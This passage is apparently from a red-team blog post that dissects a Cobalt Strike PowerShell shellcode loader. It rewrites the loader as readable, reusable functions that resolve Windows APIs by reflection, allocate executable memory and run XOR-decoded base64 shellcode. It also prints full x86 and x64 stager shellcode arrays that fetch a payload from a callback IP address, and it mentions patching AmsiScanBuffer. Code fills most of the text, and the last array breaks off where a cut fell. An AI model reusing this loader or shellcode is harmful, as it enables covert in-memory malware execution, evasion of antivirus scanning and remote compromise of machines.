will get an error stating that its module is not loaded. Microsoft.Win32.UnsafeNativeMethods is implemented within System.dll in the GAC. So, at this point, access to the `Microsoft.Win32.UnsafeNativeMethods` class has been achieved. To recap, let's reformat the code to something easy to follow: ```powershell $SystemDLL = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }) $UnsafeMethods = $SystemDLL.GetType('Microsoft.Win32.UnsafeNativeMethods') ``` Now that access to the `UnsafeNativeMethods` has been sorted, `GetMethod` is used to access `GetProcAddress`: ```powershell $UnsafeMethods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) ``` I believe that this call to `GetMethod` is using this overload, and passing in the types to be a HandleRef and a string. With that, access to `GetProcAddress` is achieved, and the code can now be updated to: ```powershell $SystemDLL = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }) $UnsafeMethods = $SystemDLL.GetType('Microsoft.Win32.UnsafeNativeMethods') $procAddress = $UnsafeMethods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) ``` Calling `$procAddress`: ```powershell Name : GetProcAddress DeclaringType : Microsoft.Win32.UnsafeNativeMethods ReflectedType : Microsoft.Win32.UnsafeNativeMethods MemberType : Method MetadataToken : 100663864 Module : System.dll IsSecurityCritical : True IsSecuritySafeCritical : True IsSecurityTransparent : False MethodHandle : System.RuntimeMethodHandle Attributes : PrivateScope, Public, Static, HideBySig, PinvokeImpl CallingConvention : Standard ReturnType : System.IntPtr ReturnTypeCustomAttributes : IntPtr ReturnParameter : IntPtr IsGenericMethod : False IsGenericMethodDefinition : False ContainsGenericParameters : False MethodImplementationFlags : PreserveSig IsPublic : True IsPrivate : False IsFamily : False IsAssembly : False IsFamilyAndAssembly : False IsFamilyOrAssembly : False IsStatic : True IsFinal : False IsVirtual : False IsHideBySig : True IsAbstract : False IsSpecialName : False IsConstructor : False CustomAttributes : {[System.Runtime.InteropServices.DllImportAttribute("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = 2, ExactSpelling = False, SetLastError = False, PreserveSig = True, CallingConvention = 1, BestFitMapping = False, ThrowOnUnmappableChar = False)], [System.Runtime.InteropServices.PreserveSigAttribute()]} ``` In a typical Cobalt Strike fashion, no variables are defined, the return contains a whole bunch of operations on one line: ```powershell return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) ``` This looks overwhelming, but it's actually not that difficult to understand. If we start from the `Invoke()`, and break it down like this: ```powershell $getModuleHandle = $UnsafeMethods.GetMethod('GetModuleHandle') $dllHandle = $getModuleHandle.Invoke($null, @($dllName)) $params = @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), $dllHandle)), $methodName) return $procAddress.Invoke($null, $params) ``` `$getModuleHandle` is used to get access to the `GetModuleHandle` method. Then, using that, a reference to the DLL in question is achieved and stored in `$dllHandle`. The `$params` variable sets `[0]` to be a HandleRef which will allow the resource to be passed to unmanaged code, and for it to be invoked. `HandleRef` also takes in the `$dllHandle` previously set. Then, in `[1]`, the `$methodName` is passed in. This is the method to actually invoke. Here is a full tidied up example: ```powershell function GetPtrToMethod(){ Param ($dllName, $methodName) $SystemDLL = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }) $UnsafeMethods = $SystemDLL.GetType('Microsoft.Win32.UnsafeNativeMethods') $procAddress = $UnsafeMethods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) $getModuleHandle = $UnsafeMethods.GetMethod('GetModuleHandle') $dllHandle = $getModuleHandle.Invoke($null, @($dllName)) $params = @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), $dllHandle)), $methodName) return $procAddress.Invoke($null, $params) } GetPtrToMethod "Kernel32.dll" "VirtualAlloc" ``` Running this returns an address: `140707592851104`. So, summarizing this function; it's used to get access to the Unsafe Native APIs, and then using those to gain access to any method required (as long as the DLL and Method are passed in as strings). ### func_get_delegate_type The second function is `func_get_delegate_type`. ```powershell function CreateDynamicAssemblyType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $parameterTypes, [Parameter(Position = 1)] [Type] $returnType = [Void] ) $dynamicAssembly = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $dynamicAssembly.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parameterTypes).SetImplementationFlags('Runtime, Managed') $dynamicAssembly.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $returnType, $parameterTypes).SetImplementationFlags('Runtime, Managed') return $dynamicAssembly.CreateType() } ``` This function is called twice, and takes in the following parameters: 1. `func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])` 2. `func_get_delegate_type @([IntPtr]) ([Void])` The first parameter is the parameters types the method is expecting, and the second is the return type. As seen here: ```powershell Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) ``` Again, super long operations are being performed on the same lines, here is the first one: ```powershell $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) ``` It can be broken down to: ```powershell [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run) ``` The `DefineDynamicAssembly` takes in two parameters: Assembly Name and Assembly Builder Access. In this case, `ReflectedDelegate` is the name and Run is the access level. It's also worth knowing, the name can be anything. This can be stored like so: ```powershell $dynamicAssembly = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run) ``` Once that is done, the modules are then defined: ```powershell .DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) ``` This is doing exactly as it sounds, defining a module for the assembly, and then defining a type. Nothing needs to be changed here, except the variable name, so it looks like this: ```powershell $dynamicAssembly = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) ``` Moving onto the next line, constructors are created with the `DefineConstructor` method: ```powershell $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parameterTypes) ``` The first value passed into this call is a comma-split list of attributes which are the method attributes. - `RTSpecialName`: Indicates that the common language runtime checks the name encoding. - `HideBySig`: Indicates that the method hides by name and signature; otherwise, by name only. - `Public`: Indicates that the method is accessible to any object for which this object is in scope. The second parameter is the `CallingConventions` which in this case is set to `Standard`: - Specifies the default calling convention as determined by the common language runtime. Use this calling convention for static methods. For instance or virtual methods use `HasThis`. The final value is the parameter types for the constructor. The specific values passed will come along shortly. With that done, the next thing is setting the implementation flags with `SetImplementationFlags`. The attributes passed are the `MethodImplAttributes`: - `Runtime`: Specifies that the method implementation is provided by the runtime. - `Managed`: Specifies that the method is implemented in managed code. There is one last thing to do before returning this function, and that's defining a method: ```powershell $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') ``` This is using the `DefineMethod` call to do just that, define a method. Not much needs to be said here because it has all been explained in the previous step. The only difference is that a new overload is being used. It adds a new method to the type, with the specified name, method attributes, calling convention, method signature, and custom modifiers. This is where the two function parameters are passed in. `$var_parameters` is an array of types that the function is expecting, so in the case of `LoadLibrary`, it would look like this: ```powershell $loadLibraryPtr = GetPtrToMethod "Kernel32.dll" "LoadLibraryA" $loadLibraryAssembly = CreateDynamicAssemblyType @("string") ([IntPtr]) $loadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($loadLibraryPtr, $loadLibraryAssembly) ``` `"string"` is the type that the function is expecting, and the second value is an `IntPtr`, which is the return type. During testing, I implemented the AmsiScanBuffer Patch using this methodology. Load in each WinAPI call using the above, and execute it with the `.Invoke()` method. The next section on execution will be a good example of how to do this. For this function, I didn't change anything, only the variable name: ```powershell $dynamicAssembly = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $dynamicAssembly.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $dynamicAssembly.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') $dynamicAssembly.CreateType() ``` Running this creates a new type: ```powershell IsPublic IsSerial Name BaseType -------- -------- ---- -------- True True MyDelegateType System.MulticastDelegate ``` The full function looks like this: ```powershell function CreateDynamicAssemblyType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $parameterTypes, [Parameter(Position = 1)] [Type] $returnType = [Void] ) $dynamicAssembly = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $dynamicAssembly.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parameterTypes).SetImplementationFlags('Runtime, Managed') $dynamicAssembly.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $returnType, $parameterTypes).SetImplementationFlags('Runtime, Managed') return $dynamicAssembly.CreateType() } ``` The whole point of this is to create a new type for `CreateDelegateFunctionPointer` as its second parameter requires a type class. Doing it this way allows for a type to be created in a controlled and dynamic way. ## The Execution With both functions explained, the only bit is to look at the execution: ```powershell [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) ``` The first few steps are obvious, it's just decoding some base64 and XORing the data to get the shellcode. I'll come back to the shellcode I used shortly. The first operation being used is: ```powershell $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) ``` There's a bunch going on here, but the main call here is the `GetDelegateForFunctionPointer`. As the name suggests, it's getting a Delegate for a function pointer. A delegate is a type that represents references to methods with a particular parameter list and return type. When you instantiate a delegate, you can associate its instance with any method with a compatible signature and return type. You can invoke (or call) the method through the delegate instance. It allows for a method to be invoked through the delegate instance and `GetDelegateForFunctionPointer` can convert unmanaged function pointers into delegates. The first parameter passed to the delegate method is a call for `VirtualAlloc`, for my own sanity, I split that call out into a variable: ```powershell $virtualAllocPtr = GetPtrToMethod "kernel32.dll" "VirtualAlloc" ``` The second parameter is the dynamically created assembly, which can be split out to: ```powershell $virtalAllocAssembly = CreateDynamicAssemblyType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) ``` To make this more readable for myself, it becomes: ```powershell $virtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($virtualAllocPtr, $virtalAllocAssembly) ``` By doing this, a delegate for `VirtualAlloc` is achieved, and it can be called (invoked) on the next line. Cobalt Strike does it like so: ```powershell $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) ``` The above is straightforward, it invokes the `VirtualAlloc` and passes in the usual suspects. As for the exact shellcode used by the payload generator, I just did used this code with the XOR and Base64: ```powershell [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $s = "" foreach($i in $var_code){ $a = "{0:x}" -f $i $s += "0x" + $a + ", " } Write-Host $s ``` This wrote out the decrypted shellcode. The shellcode used here is `x86` and to sanity check it, I just generated `x64`, `x86` and then decrypted the shellcode. Comparing these together revealed that the XOR'd payload is the same length as the `x86` generation: ```c // x86 byte[] buf = new byte[800] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0xbb, 0x01, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x70, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xc3, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x74, 0xb7, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x8b, 0xff, 0xff, 0xff, 0x2f, 0x4d, 0x76, 0x4c, 0x4d, 0x00, 0x6f, 0x83, 0x94, 0xa2, 0xc4, 0xc3, 0xd0, 0xe5, 0xa9, 0xe9, 0x7d, 0x2f, 0x18, 0xe1, 0x0d, 0xfb, 0x10, 0x99, 0xa7, 0xb4, 0x23, 0x4d, 0x0c, 0xd9, 0xc7, 0xfb, 0x69, 0x6d, 0x58, 0x8a, 0x3a, 0x6f, 0xb5, 0x05, 0x07, 0x7d, 0xd3, 0x90, 0x7c, 0x86, 0xcb, 0x0c, 0x60, 0x46, 0x04, 0x08, 0x6d, 0xc9, 0x77, 0x7b, 0x0c, 0x65, 0x3c, 0x84, 0x4f, 0x48, 0x85, 0xcd, 0x2c, 0x63, 0x05, 0xba, 0x0b, 0xf0, 0x84, 0x21, 0x3e, 0xe9, 0x05, 0xe3, 0xed, 0xb6, 0xa3, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x57, 0x4f, 0x57, 0x36, 0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x46, 0x75, 0x6e, 0x57, 0x65, 0x62, 0x50, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x29, 0x0d, 0x0a, 0x00, 0xb0, 0x50, 0x62, 0x72, 0xe3, 0x3b, 0xf0, 0x8e, 0x9d, 0x9a, 0xa7, 0x17, 0x99, 0x56, 0xe5, 0x60, 0x5f, 0x43, 0x77, 0xcb, 0x3d, 0x8b, 0x20, 0xdf, 0x32, 0xa6, 0xc2, 0x4b, 0xb1, 0x5b, 0x85, 0x66, 0xdc, 0x71, 0xe2, 0x16, 0x77, 0x71, 0x65, 0x0b, 0x58, 0x3c, 0x82, 0x52, 0x4c, 0x0a, 0x38, 0x9e, 0xbc, 0x76, 0x75, 0x39, 0x5c, 0x6e, 0x27, 0xd0, 0x70, 0x4b, 0x7d, 0x3d, 0xe6, 0xc3, 0x95, 0x71, 0x5b, 0xbf, 0x68, 0x0e, 0x57, 0x64, 0xdb, 0x83, 0xf2, 0x8f, 0xba, 0xdf, 0xfa, 0x8a, 0xba, 0xbe, 0x07, 0xbc, 0xea, 0x9a, 0x5a, 0x3d, 0x61, 0x94, 0x30, 0xb6, 0xfb, 0xfe, 0x8c, 0x0d, 0x2d, 0x39, 0xc4, 0x5d, 0xca, 0x76, 0x4c, 0x2f, 0xf2, 0xb6, 0xaf, 0x2a, 0xc3, 0x67, 0xac, 0xeb, 0xe9, 0xe0, 0x2a, 0x3b, 0x14, 0xcb, 0xbe, 0xa4, 0xe3, 0x4a, 0x18, 0xe7, 0x25, 0x57, 0x6b, 0x4a, 0x8c, 0xef, 0x7e, 0x1e, 0x0d, 0x77, 0xa8, 0x66, 0x88, 0xe6, 0xfb, 0x35, 0xaf, 0x6a, 0xe6, 0xe6, 0xc7, 0x24, 0xf1, 0x7f, 0x20, 0x01, 0xb0, 0x4f, 0x30, 0x7a, 0xcd, 0x54, 0xc1, 0xab, 0x2c, 0x78, 0x6e, 0xd4, 0x43, 0x78, 0x61, 0xb1, 0x8c, 0x5f, 0xcd, 0x0c, 0x0d, 0xbf, 0xd6, 0xc6, 0x5f, 0x5a, 0x75, 0x8a, 0x7f, 0x80, 0x7b, 0xaf, 0xa4, 0x33, 0x97, 0xd5, 0x28, 0x5a, 0x52, 0x3e, 0x18, 0x00, 0x6b, 0xdd, 0x5e, 0xa5, 0x7d, 0xbb, 0xd8, 0x82, 0xcb, 0x98, 0x7a, 0x57, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0xa9, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x30, 0x30, 0x2e, 0x31, 0x30, 0x33, 0x00, 0x66, 0x6a, 0x58, 0xa9 }; ``` ### x64 ```c byte[] buf = new byte[894] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x73, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0xbb, 0x01, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x59, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xd3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0xff, 0xff, 0xff, 0x2f, 0x43, 0x6b, 0x4d, 0x62, 0x00, 0xa7, 0x81, 0x5a, 0x46, 0x7a, 0xec, 0xdb, 0xa7, 0xc3, 0x70, 0x68, 0xd8, 0x48, 0x21, 0x03, 0x07, 0x8f, 0x6c, 0x69, 0xc3, 0xd1, 0xc1, 0x8e, 0x2e, 0x5c, 0xfd, 0xbf, 0x3d, 0x8d, 0x1f, 0xcc, 0xaf, 0x07, 0x9a, 0xd8, 0x6c, 0x8d, 0x05, 0xb0, 0xd4, 0xaa, 0x58, 0x3a, 0xa6, 0x9d, 0x96, 0xde, 0x4d, 0xcf, 0x71, 0x30, 0x20, 0x03, 0x33, 0x34, 0x2f, 0x12, 0xae, 0xa2, 0x29, 0x04, 0x0c, 0x20, 0x31, 0x5e, 0xd9, 0x03, 0xc8, 0xe8, 0xee, 0xdb, 0x10, 0xa5, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x31, 0x30, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x32, 0x3b, 0x20, 0x57, 0x4f, 0x57, 0x36, 0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x36, 0x2e, 0x30, 0x3b, 0x20, 0x4d, 0x41, 0x41, 0x52, 0x4a, 0x53, 0x29, 0x0d, 0x0a, 0x00, 0xd8, 0xdf, 0x0e, 0x86, 0xaf, 0x8b, 0xcc, 0x3a, 0x46, 0x57, 0x4a, 0x8a, 0x0a, 0x77, 0x2b, 0xfa, 0x21, 0xcb, 0x1a, 0x91, 0xe3, 0x91, 0xf3, 0xbb, 0x14, 0xcc, 0xb0, 0x1f, 0xa3, 0xfd, 0xd1, 0x99, 0x81, 0xa8, 0xb1, 0xfd, 0x24, 0x17, 0x9f, 0xfc, 0x09, 0xd9, 0x23, 0xc9, 0x44, 0x41, 0x9a, 0x71, 0x7b, 0x0a, 0xfa, 0x34, 0x6a, 0xb2, 0xc6, 0xf9, 0xeb, 0x28, 0xf4, 0x5e, 0x61, 0x58, 0x90, 0xdc, 0x55, 0x83, 0xe4, 0xbf, 0xdc, 0x26, 0x51, 0xb3, 